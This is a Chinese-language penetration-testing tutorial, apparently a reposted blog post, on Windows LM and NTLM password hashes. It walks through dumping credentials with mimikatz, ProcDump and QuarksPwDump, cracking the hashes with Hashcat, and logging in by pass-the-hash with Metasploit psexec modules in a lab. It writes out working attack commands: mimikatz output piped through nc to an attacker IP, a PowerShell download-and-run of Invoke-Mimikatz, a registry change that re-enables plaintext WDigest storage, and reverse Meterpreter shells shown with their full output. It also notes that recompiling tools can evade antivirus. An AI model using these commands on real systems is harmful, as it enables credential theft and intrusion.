Hash 简介
Hash 一般翻译为“散列”,也可直接音译为“哈希”的。这个加密函数对一个任意长度的字符串数据进行一次加密函数运算,然后返回一个固定长度的字符串。Hash 主要用于信息安全领域中加密算法,渗透测试中获取目标系统的明文或 Hash 往往是整个渗透测试过程中重要的一环。在 Windows 系统中本机用户的密码 Hash 是放在本地的 SAM 文件里面,域内用户的密码 Hash是存在域控的 NTDS.DIT 文件里面。
Windows Hash 分类
LM
LM Hash简介
LAN Manager(LM)哈希是 Windows 系统所用的第一种密码哈希算法,是一种较古老的 Hash,在 LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。它只有唯一一个版本且一直用到了 NT LAN Manager(NTLM)哈希的出现,在 Windows Vista/Windows 7/Windows Server 2008 以及后面的系统中,LM哈希算法是默认关闭的,LM 算法是在 DES 基础上实现的,不区分字母大小写。
LM Hash 生成原理
- 用户的密码转换为大写,密码转换为 16 进制字符串,不足 14 字节将会用 0 来再后面补全。
- 密码的 16 进制字符串被分成两个 7byte 部分。每部分转换成比特流,并且长度位 56bit,长度不足使用 0 在左边补齐长度
- 再分 7bit 为一组,每组末尾加 0,再组成一组
- 上步骤得到的二组,分别作为 key 为
KGS!@#$%
进行 DES 加密。 - 将加密后的两组拼接在一起,得到最终 LM HASH值。
LM Hash 缺点
- 密码长度最大只能为 14 个字符
- 密码不区分大小写
- 如果密码强度是小于 7 位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee
- Des 密码强度不高
NTLM
NTLM Hash 简介
NT LAN Manager(NTLM)哈希是Windows系统认可的另一种算法,用于替代古老的 LM-Hash,一般指 Windows 系统下 Security Account Manager(SAM)中保存的用户密码 Hash,在 Windows Vista/Windows 7/Windows Server 2008 以及后面的系统中,NTLM 哈希算法是默认启用的。
NTLM Hash 生成原理
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行 Unicode 编码。
- 使用 MD4 摘要算法对 Unicode 编码数据进行 Hash计算
python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "P@ssw0rd".encode("utf-16le")).digest())'
e19ccf75ee54e06b06a5907af13cef42
Windows Hash 抓取
mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz
Mimikatz 是一个开源的项目,用于 Windows 下读取已经登录过的用户 Hash 和明文密码,要顺利的读取密码必须具有 Admin 或者System 权限,所以它也是内网渗透神器之一。
本地交互式抓取
运行mimikatz.exe
,弹出mimikatz的窗口,输入如下命令:
显示您是否具有适当的权限来继续:
mimikatz # privilege::debug
启动日志记录功能:
mimikatz # log
输出存储在此计算机上的所有明文密码:
mimikatz # sekurlsa::logonpasswords
此时会在当前 shell 运行的目录下生成mimikatz.log
,这里面记录了抓取密码的一些详细情况。
本地非交互式抓取
在高权限的 CMD 命令行下直接运行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt
此时会在当前 shell 运行的目录下生成mimikatz.txt
,这里面记录了抓取密码的一些详细情况。
远程非交互式抓取
实验环境
设备详情 | IP地址 | 担任角色 |
---|---|---|
macOS | 10.211.55.2 | 攻击者 |
Windows 7 SP 1 | 10.211.55.12 | 被攻击者 |
本次实验使用 ncat 来做消息反弹,不知道 ncat 命令的同学可以参考我的这篇文章:nc 命令学习记录
macOS
macOS 本机提前做好监听:
ncat -lvp 2333
国光我本人更喜欢 ncat 命令多一点,具体看个人喜好。
Windows
这里为了方便我把nc.exe
上传到了mimikatz.exe
的同目录下了:
C:\mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 10.211.55.2 2333
DNS fwd/rev mismatch: GG != GG.lan
GG [10.211.55.2] 2333 (?) open
效果
这样操作完成后,即不在目标系统上留下任何文件,直接把抓取到的结果用 nc 发送到指定的远程机,此时 macOS 这边已经拿到返回的密码信息了:
powershell 加载 mimikatz 抓取
目标机器可以连接外网的情况下:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
内网的情况下可将脚本下载下来,自己搭建一个本地的 Web 服务器,通过内网 IP 去访问:
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
各个系统版本的抓取样本
Windows Server 2003 R2
Authentication Id : 0 ; 420302 (00000000:000669ce)
Session : Interactive from 0
User Name : Administrator
Domain : GG6043
Logon Server : GG6043
Logon Time : 2019-11-18 20:51:21
SID : S-1-5-21-3664143716-1376148344-336540569-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : GG6043
* LM : 896108c0bbf35b5caad3b435b51404ee
* NTLM : f6502cbe4802f94ab472288970c124cd
* SHA1 : 669c9b60b44e10aaa8784563c9a5381c9300235a
wdigest :
* Username : Administrator
* Domain : GG6043
* Password : P@ss123
kerberos :
* Username : Administrator
* Domain : GG6043
* Password : P@ss123
ssp :
credman :
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | Administrator |
明文 | P@ss123 |
LM | 896108c0bbf35b5caad3b435b51404ee |
NTLM | f6502cbe4802f94ab472288970c124cd |
Windows Server 2008 R2
Authentication Id : 0 ; 224455 (00000000:00036cc7)
Session : Interactive from 2
User Name : Administrator
Domain : GGF140
Logon Server : GGF140
Logon Time : 2019/11/18 23:32:08
SID : S-1-5-21-3111474477-815050075-712084324-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GGF140
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : Administrator
* Domain : GGF140
* Password : P@ssw0rd
wdigest :
* Username : Administrator
* Domain : GGF140
* Password : P@ssw0rd
kerberos :
* Username : Administrator
* Domain : GGF140
* Password : P@ssw0rd
ssp :
credman :
Windows Server 2008 R2 默认的配置还是可以读取到 LM 类型的 Hash的,与网上的理论不符合,说明 WIndows Server 2008 R2 与 Windows 7 依然没有完全禁用掉 LM 类型的 Hash
Windows 7 SP1
Authentication Id : 0 ; 2006207 (00000000:001e9cbf)
Session : Interactive from 2
User Name : Administrator
Domain : GG37BE
Logon Server : GG37BE
Logon Time : 2019/11/18 22:36:13
SID : S-1-5-21-1996198258-1617865379-4184567355-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GG37BE
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
wdigest :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
kerberos :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
ssp :
credman :
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | Administrator |
明文 | P@ssw0rd |
LM | 921988ba001dc8e14a3b108f3fa6cb6d |
NTLM | e19ccf75ee54e06b06a5907af13cef42 |
Windows 10 1903
Authentication Id : 0 ; 86025756 (00000000:0520a61c)
Session : Interactive from 9
User Name : sqlsec
Domain : MACBOOKPRO
Logon Server : MACBOOKPRO
Logon Time : 2019/11/18 20:06:24
SID : S-1-5-21-2097287409-4065191294-224695044-1000
msv :
[00000003] Primary
* Username : sqlsec
* Domain : MACBOOKPRO
* NTLM : f00a25418f128daaef2bc89ed94416bd
* SHA1 : 56d7741bca89552362fd24d11bb8980e3d8a444c
tspkg :
wdigest :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
kerberos :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
ssp :
credman :
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | sqlsec |
明文 | 空 这里没有读取到 |
NTLM | f00a25418f128daaef2bc89ed94416bd |
Windows 10 无法使用 mimikatz 读取到明文密码,只能直接读取到加密后的NTLM
值。
补充
评论下面的网友「语冰」补充了一些姿势点,评论原文如下:
写的挺全,不过少了一个抓明文的知识点,无法使用 mimikatz 读取到明文密码是因为微软在 Win7 之后就打了补丁 KB2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令,mimikatz 就读不到密码明文,但是该选项是可以手动开启:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
ProcDump + mimikatz
官网地址:ProcDump v9.0
ProcDump 是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为 dump 文件又因为是微软自家出品,所以可以过很多杀软。
dump lsass.exe 进程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
x86 x64 分别执行对应的可执行文件 因为本次测试系统为 64 位 故执行 procdump64.exe
此时会在当前 shell 运行的目录下生成lsass.dmp
,这个是 lsass.exe 进程转存储的文件,里面记录了 Hash 信息。
对于 NT6 及其以上的系统也可以使用 Windows 自带的功能进行 dump:
任务管理器`点击`显示所有用户的进程`,然后找到 `lsass.exe`的进程,`右键`,选择`创建转存储文件
读取 dmp 文件信息
将上面转存储生成的lsass.dmp
文件放到mimikatz.exe
的同目录下,执行下面非交互命令可以直接读取密码:
# 直接读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tspkg" exit
# 读取明文密码 + Hash值 信息更全
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit
QuarksPwDump
QuarksPwDump 是一个 Win32 环境下系统授权信息导出工具,支持 Windows 众多的 OS 版本:XP/2003/Vista/7/2008/8 ( Windows10 国光测试失败 并没有成功读取到 Hash)
项目地址:https://github.com/quarkslab/quarkspwdump
目前作者只是开源了源代码,没有发布已经编译好的版本,所以大家使用的话得寄几用VS Studio编译一下。下面国光本人自己编译好的版本如下,有需要的朋友可以自行下载:
文件名 | 下载地址 |
---|---|
QuarksPwDump.exe | OneDriver下载链接 |
如果要自行加入免杀功能的话,大家自行去编译,这里国光用的是VS Studio 2010编译的,顺便附上下载地址:
文件名 | 下载地址 |
---|---|
VC++2010学习版和永久使用注册码.zip | OneDriver下载链接 |
另外 Github 还有其他大牛已经编译好了更新的版本,我们也可以直接下载:
https://github.com/redcanari/quarkspwdump/releases
这个新的 QuarksPwDumpv_0.3a 版本中新增了-sf
参数
QuarksPwDump 抓取密码的命令如下:
QuarksPwDump.exe -dhl -o hash.txt
抓取 Hash 并在同目录下生成hash.txt
文件,抓取到具体的 Hash 如下:
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::
提取 Administrator 用户的关键密码信息为:E19CCF75EE54E06B06A5907AF13CEF42
,他实际上是P@ssw0rd
的 NTLM 加密的值,可以用 Hashcat 来进行破解
Windows Hash 利用
Hashcat 破解
拿到 LM 或者 NTLM 的密文时,如果没有明文的时候,最直接的方法当然是直接将其解密啦,这里使用Hashcat来进行密码解密,对 Hashcat 这个工具不了解的同学可以参考我写的这篇文章:Hashcat学习记录
假设我们读取到Hash如下:
- LM : 921988ba001dc8e14a3b108f3fa6cb6d
- NTLM : e19ccf75ee54e06b06a5907af13cef42
实际上这个明文是:P@ssw0rd
下面用 Hashcat 来简单演示一下破解,这里破解我使用了-a 0
字典破解,hashcat –help 可以看到 LM 和 NTLM 对应的 hash 编号分别为3000
和1000
3000 | LM | Operating Systems
1000 | NTLM | Operating Systems
废话不多说,下面直接走个流程破解一下吧:
Hashcat 破解 LM Hash
hashcat -a 0 -m 3000 --force '921988ba001dc8e14a3b108f3fa6cb6d' password.txt
因为 LM Hash 长度最长是 14 个字符,密码被分成 2 个长度为 7 的字符进行存放,所以这里 Hashcat 破解的时候也是分 2 半部分来分别进行破解的:
4a3b108f3fa6cb6d:D
921988ba001dc8e1:P@SSW0R
Session..........: hashcat
Status...........: Cracked
Hash.Type........: LM
Hash.Target......: 921988ba001dc8e1, 4a3b108f3fa6cb6d
Time.Started.....: Tue Nov 19 00:05:18 2019 (0 secs)
Time.Estimated...: Tue Nov 19 00:05:18 2019 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 1291 H/s (0.16ms) @ Accel:32 Loops:1 Thr:64 Vec:1
Speed.#3.........: 0 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#*.........: 1291 H/s
Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8/8 (100.00%)
Rejected.........: 0/8 (0.00%)
Restore.Point....: 0/8 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-0 Iteration:0-1
Candidates.#2....: ADMIN -> D
Candidates.#3....: [Copying]
可以看到先破解出了:D
,然后破解出了P@SSW0
比较蛋疼的是 LM Hash 不区分大小写,所以我们还得凭感觉去猜出具体的密码。
Hashcat 破解 NTLM Hash
hashcat -a 0 -m 1000 --force 'e19ccf75ee54e06b06a5907af13cef42' password.txt
破解成功,得到如下结果:
e19ccf75ee54e06b06a5907af13cef42:P@ssw0rd
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NTLM
Hash.Target......: e19ccf75ee54e06b06a5907af13cef42
Time.Started.....: Mon Nov 18 23:44:55 2019 (0 secs)
Time.Estimated...: Mon Nov 18 23:44:55 2019 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 0 H/s (0.00ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Speed.#3.........: 985 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#*.........: 985 H/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 5/5 (100.00%)
Rejected.........: 0/5 (0.00%)
Restore.Point....: 0/5 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-0 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#2....: [Copying]
Candidates.#3....: admin -> P@ssw0rd
在线 Hash 破解
一个国外的老牌Hash破解网站,填入 NTLM Hash 值即可:
国内的 CMD5.com 也支持 NTLM 类型的 Hash 破解,直接粘贴进去系统会自动解密,也是比较方便的:
还有其他很多的在线网站就不推荐了,这里就只列举这两个用的比较多的网站。
Hash 传递
简介
PASS THE Hash 也叫 Hash 传递攻击,简称 PTH。模拟用户登录不需要用户明文密码只需要就可以直接用获取到的 Hash来登录目标系统。
利用成功的前提条件是:
- 开启445端口 SMB服务
- 开启admin$共享
这里目标 Windows Server 2008 R2(10.211.55.4)通过 mimikatz 抓取到的 Administrator 用户的 Hash 为:
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
通过 QuarksDump 抓取到的 Administrator 用户的 Hash 为:
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::
经过国光测试,在下面 Hash 传递的时候,只要后面的 NTLM Hash 是正确的,前面填写什么都是可以顺利登陆成功的,经过测试,如下 Hash 可以成功:
AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
921988ba001dc8e14a3b108f3fa6cb6d:E19CCF75EE54E06B06A5907AF13CEF42
00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42
66666666666666666666666666666666:E19CCF75EE54E06B06A5907AF13CEF42
也就是说:E19CCF75EE54E06B06A5907AF13CEF42
部分起到关键的认证作用,前面的只要位数正确,填写啥都没有问题。下面是具体的演示。
Metasploit
Metasploit 下面有 3 个 psexec 模块都可以进行 Hash 传递利用,他们分别是:
# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command
# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec
# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh
auxiliary/admin/smb/psexec_command
msf5 > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 auxiliary(admin/smb/psexec_command) > set smbuser administrator
smbuser => administrator
msf5 auxiliary(admin/smb/psexec_command) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 auxiliary(admin/smb/psexec_command) > set command "whoami"
command => whoami
msf5 auxiliary(admin/smb/psexec_command) > run
[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.211.55.14:445 - checking if the file is unlocked
[*] 10.211.55.14:445 - Getting the command output...
[*] 10.211.55.14:445 - Executing cleanup...
[+] 10.211.55.14:445 - Cleanup was successful
[+] 10.211.55.14:445 - Command completed successfully!
[*] 10.211.55.14:445 - Output for "whoami":
nt authority\system
[*] 10.211.55.14:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
比较鸡肋的是,这个模块不支持网段格式批量验证,所以实战中可以考虑下面两个模块
exploit/windows/smb/psexec
支持网段格式的 IP,方便批量验证 PTH,下面是单个验证过程:
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 exploit(windows/smb/psexec) > set lhost 10.211.55.4
lhost => 10.211.55.4
msf5 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.211.55.4:4444
[*] 10.211.55.14:445 - Connecting to the server...
[*] 10.211.55.14:445 - Authenticating to 10.211.55.14:445 as user 'administrator'...
[*] 10.211.55.14:445 - Selecting PowerShell target
[*] 10.211.55.14:445 - Executing the payload...
[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.211.55.14
[*] Meterpreter session 2 opened (10.211.55.4:4444 -> 10.211.55.14:49168) at 2019-11-24 23:42:38 +0800
meterpreter >
下面网段批量验证效果,在内网当做这样验证还是比较实用高效的:
关于前面 32 位的 Hash 不起作用的疑问,去 T00ls 论坛提问了,下面是师傅们的解答:
iceword:前面是lm hash,lm hash已经被弃用了,不用来验证,所以添啥都行
Hello_C:NTLM Hash = LM Hash + NT Hash,LM Hash是aad3b435b51404eeaad3b435b51404ee时,可能密码为空或者没有存储lm hash,2008默认不存储lm hash。pth 用nt hash,有些工具可能需要lm hash:nt hash格式,没有lm hash可以使用任意32个字符填充。
安全客:如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。所以在win7 中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash并没有价值。
exploit/windows/smb/psexec_psh
msf5 > use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 exploit(windows/smb/psexec_psh) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec_psh) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 exploit(windows/smb/psexec_psh) > set lhost 10.211.55.4
lhost => 10.211.55.4
msf5 exploit(windows/smb/psexec_psh) > run
[*] Started reverse TCP handler on 10.211.55.4:4444
[*] 10.211.55.14:445 - Executing the payload...
[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.211.55.14
[*] Meterpreter session 3 opened (10.211.55.4:4444 -> 10.211.55.14:49169) at 2019-11-24 23:44:12 +0800
meterpreter >
这个模块也支持网段批量验证,这里就不再赘述了。
类似于的 CS 也有 Hash 传递模块,用法大同小异,这里就不再赘述了,感兴趣的朋友可以自行去实践尝试一下。
1.本站所有资源来源于用户上传与网络:如有侵权请邮件联系站长!
2.分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3.不得使用于非法商业用途,不得违反国家法律法规,否则后果自负!
4.本站提供的源码,模板,插件等等其他资源,都不包含技术服务请大家谅解!
5.如有链接无法下载,失效或广告,请联系管理员处理!
6.本站收费资源只是赞助,收取费用仅维持本站的服务器日常运营所需!
7.如遇到压缩包,默认解压密码为“ weichat.me ”,如遇到无法解压的请联系管理员!
8.由于精力有限,网站很多源码和模板都是从官网付费购买和网络收集下载的,没有办法逐一测试,不保证每个资源、软件可长期正常使用,请仔细确认是否真的必须购买,如有问题请自行处理,感谢理解。
暂无评论内容